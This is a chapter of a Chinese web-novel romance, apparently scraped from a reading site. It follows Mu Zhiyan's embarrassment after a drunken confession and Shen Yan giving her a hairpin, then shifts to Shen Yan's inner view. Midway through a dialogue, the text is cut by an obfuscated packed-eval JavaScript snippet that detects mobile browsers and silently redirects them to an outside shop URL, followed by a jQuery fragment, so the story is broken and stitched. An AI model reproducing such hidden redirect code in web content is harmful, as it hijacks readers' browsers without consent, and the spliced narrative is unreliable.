默认冷灰
24号文字
方正启体

40. 桃花洲(4)

作者:舒与之本书字数:K更新时间:
    日上三竿了人才醒。


    许是知道慕枝砚的性子,他们三生宗管理又向来松散自由,没有人来叫她,慕枝砚一直睡到天亮得不能再亮。


    刚醒,她坐起来的时候还有些晕。


    整颗脑袋都不清醒,慕枝砚眼睛不太能完全睁开,她揉着头发,头一点一点往前倾,身上抱着被子像是要再睡过去。


    迷迷糊糊中,她脑海里闪过一句话。


    “我第一次见到你,就很喜欢你。”


    仿佛被天上的雷劈了一遭,慕枝砚甩着头就睁开眼睛了。


    谁呀,谁说的话。她困意彻底去了,一把将盖着的被子丢了,匆匆忙忙下了床换衣裳,推开了窗。


    正是大好天气,阳光耀眼,树下还有落了满地的秋海棠。


    她又揉了一把脸。


    想起来了。


    还不如睡着了呢。


    **


    师兄姐弟妹无事不登堂。


    为了青鸾大赛,自家多少也得撑点面子,谢临之大扇一挥,把最容易得罪人的慕枝砚派去山门口迎接人。


    接到任务的慕枝砚用喝醉的脑子想都知道谢临之没按好心。她掸掸谢临之写好的那卷字,没好气地问:“非要我去?”


    “熟悉熟悉对手。”谢临之说,“而且,又不是你自己去。”


    她没过多关注后半句话,只丢下句“不熟悉我也能打赢”,就把那卷安排她迎接的字扔给谢临之,扬长而去。


    因为醒酒的缘故,慕枝砚所行脚步不快,等赶到时,众宗门的人已经纷纷扬扬前来了。


    不等她往门边那站,隔着人群,大老远就望见一身白衣的沈厌。往下看,碎月上还配上墨绿色的长念,慕枝砚突然就回想起上午那句话来,没由地想往人群里躲藏。


    但沈厌好像有知觉,背后长了眼睛,毫无征兆地往她这儿看,刚好就对上慕枝砚想走还没来得及走的时候。


    她就低着头,穿过人群,往沈厌那边走。


    上次像天机门、不为阁的人留在三生宗内,但还有其他大大小小的宗门子弟前来。慕枝砚不认识,更何况昨晚那场景在脑海挥之不去,她就一直低着头,听沈厌客套地和人对话,自己点头。


    低头的时候就能看见长念。


    慕枝砚想和沈厌说话,又不想和沈厌说话。她觉得那酒里应该给她下药了,酒后真言,把心里想的乱七八糟的全说出去了,还好那天只有他们两个。


    她想得烦,又看见一眼长念,干脆捂了下眼睛。


    青鸾大赛怎么还不开始!


    她真想快点上台。


    但她也不能躲着。


    慕枝砚放下遮挡眼睛的手,用余光悄悄打量沈厌。


    他和往日无异,简直正常得不能再正常。


    为什么他没变化?是她其实没说漏嘴?还是他昨晚没听见?要是他听见了还是这个反应吗?


    慕枝砚想着,眼神慢慢就大胆起来,从偷看转到光明正大地看。


    不对,长念还在的,她是真把长念送出去了。那他为什么还是这个样子?


    他聋了?


    慕枝砚离他近一点,小声叫他:“沈厌?”


    沈厌看过来。


    能听见啊。


    她又低下头去。


    长念在她压在床底的小箱子里放了几天,始终想不到以什么理由送出去,哪想过居然是昨晚这样的。


    慕枝砚不免又揉揉头发。


    她想半天,再次叫他的名字,话转在口中半天增增添添,最后才问:“你有没有觉得,我们应该有哪里不一样?”


    沈厌看她,眨着眼,然后看着她的头发说:“你的发簪没有戴。”


    “……”


    那他应该全都记得。


    慕枝砚轻咳一下。她第一次觉着,原来伪装时是可以做这么多小动作的。


    算了,反正说都说出去了。她只觉得昨晚自己有点发疯,虽然她平时也有点疯。


    但肯定是谢临之那破酒的错。


    说到底,还是她不确定沈厌到底该个什么反应。他太平静了。那,应该是惊讶的?是疑惑的?


    是什么样子的她才能觉得正确呢。


    回想过去,沈厌好像一直都很纵容她。


    可纵容和喜欢好像又不一样。慕枝砚想通了,她纠结这么久,原来是没有把握得知沈厌心里的想法。


    因为他在人面前,一向都是不喜不悲的模样。似乎失去什么都无所谓,得到什么也无所谓,所以慕枝砚甚至觉得,有没有那句话也无所谓。


    于是,慕枝砚干脆破罐破摔地说:“哪有人送发簪是这样送的。”


    沈厌看她,她说:“沈厌,没有人是这么送东西的。”


    她说完,如同前些次那样,拉着他的衣袖,带着沈厌往回走。


    周边的弟子看见,叫住慕枝砚:“师姐,你们去哪啊?这边还等着迎……”


    慕枝砚拽着根木头就够烦了,头都不回地挥手道:“不干了不干了,叫谢临之来干!”


    她领着沈厌一路穿梭,直到自己房间门口才停下。推开门,沈厌规矩地站在外面,慕枝砚说:“进来呀。”


    把梳妆的盒子打开,慕枝砚取出发簪。沈厌离她几步远,抿着唇,看她,又看她的头发。


    他说:“你坐。”


    ……


    慕枝砚出房门的时候刚巧在长廊遇见个姑娘。


    她听说谢临之骂骂咧咧地区代替她迎接友人,正笑着,转个弯就遇上了那姑娘。她穿着一身门服,一眼就看出不是他们三生宗的,本着热情好客的风俗,慕枝砚上前问她。


    “要去哪里?”


    那姑娘听见脚步声,往回看。这一眼,慕枝砚有点吃惊。


    她从没见过这么白的人。


    姑娘年纪不大,脸色发白,甚至唇上血色都很淡,看上去像是生病的样子,说话气色也不好,不过待人礼貌,有气无力地问她路。


    慕枝砚给她指了路,望着身影消失时,听到花树后另有人在叫嚷。


    那声音不用看人,就听出来是阮惊连。


    “青鸾大赛啊,我要大展身手。”阮惊连在树下自言自语,“不过三生宗这院子真奇怪,花全落了,不好看。”


    他一边走一边看落花,等到在缝隙里瞧见盯着他的慕枝砚,吓得叫出声。


    “你叫什么!”慕枝砚被吵得头痛。


    “你躲着干什么!”


    “我爱去哪去哪,这是三生宗。”慕枝砚说,“我听


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16707007|184692||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    见你在嚷嚷我们三生宗的坏话呢?”


    阮惊连说:“没有,我就说花都掉了。”


    他没再像初见时咄咄逼人,聊着聊着,阮惊连忽然说:“哎,你这新发簪挺好看。”


    说到点子上了。慕枝砚轻轻摸过发簪上的花瓣,说:“哦,你说这个,有人送我的。”


    “啊?”


    “你不是说落花么......那也是他昨晚舞剑给我看,震下来的。”


    阮惊连:“......”


    **


    就在一炷香之前。


    人已走远,被叫去布置青鸾大赛的沈厌,在路上忽然回了下头。


    与他走反方向的,是戴着发簪的慕枝砚。


    他跟在带路人身后,稍举了下自己的手。这双手在刚才抚过她的发丝,在慕枝砚说发簪是用来戴的话语下,轻轻送入她的发髻中。


    扪心自问,沈厌从不觉得自己是个无情的人。


    他喜欢看挽上他手指的红丝,他喜欢听慕枝砚围着他叽叽喳喳说他听不懂的话。他曾以为,这样的日子在天庭这么维持下去,也够了。


    直到这番突如其来的遭遇搅乱一切。


    他承认,未记起她时,碎月挥向慕枝砚那瞬,他有片刻迟钝,否则也不会决定带着她离开鬼市。


    在船上回想起一切时,他又有些许失神。


    他在人间遇见了她。


    沈厌原以为他能把情绪藏得很好。


    他试着去拒绝去回避有关慕枝砚的所有,但他发现,他做不到。


    或许从放下那枚发簪时就错了,他控制不住心绪,所以在慕枝砚望向他时,在慕枝砚叫他名字时,他总是一面想着不可以,一面按着她的话去做。


    他记着她说的话,甚至在这条长廊上,他面前还能浮现慕枝砚的脸。


    “我第一次见到你,就很喜欢你。”


    喜欢他什么呢。


    沈厌不会忘记那晚发生过什么,他从无量狱中走出来,带着一身的疲惫,在月光下看见一张似曾相似的脸庞。


    如果慕枝砚看见幻象里的他,还会喜欢他吗?


    如果他的手变成黑色,慕枝砚还会接近他吗?


    如果他和无量狱里所关的人没什么两样,慕枝砚还会说出这句话吗?


    ......


    他想到慕枝砚拂着发尾,说:“沈厌,发簪是要戴在发间的。”


    他知道那是什么意思,但还是说:“你昨天喝酒了。”


    慕枝砚说:“可我现在清醒着。”


    沈厌在心上叹了口气。她说得对,谁会为所爱人做很多事情,却一味隐藏不揭露姓名呢。


    或许也有想藏着吧,但至少他不够格,他躲避得还不完善,慕枝砚说雪光刃没有了,他就想再弥补上什么。


    他说:“你坐。”


    看着镜子里映出的慕枝砚的脸,她眼睛里映着身后站着的他。似乎哪里做错了,但沈厌觉得错了,也是对了。


    他拿宝物似的,托起那枚发簪,那颜色一如慕枝砚在船上,用红丝变给他的戏法花。


    他想,他和慕枝砚是一样的。


    第一次在檐上见到她,就觉得她与众不同。和所有人带给他的感觉,都不同。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)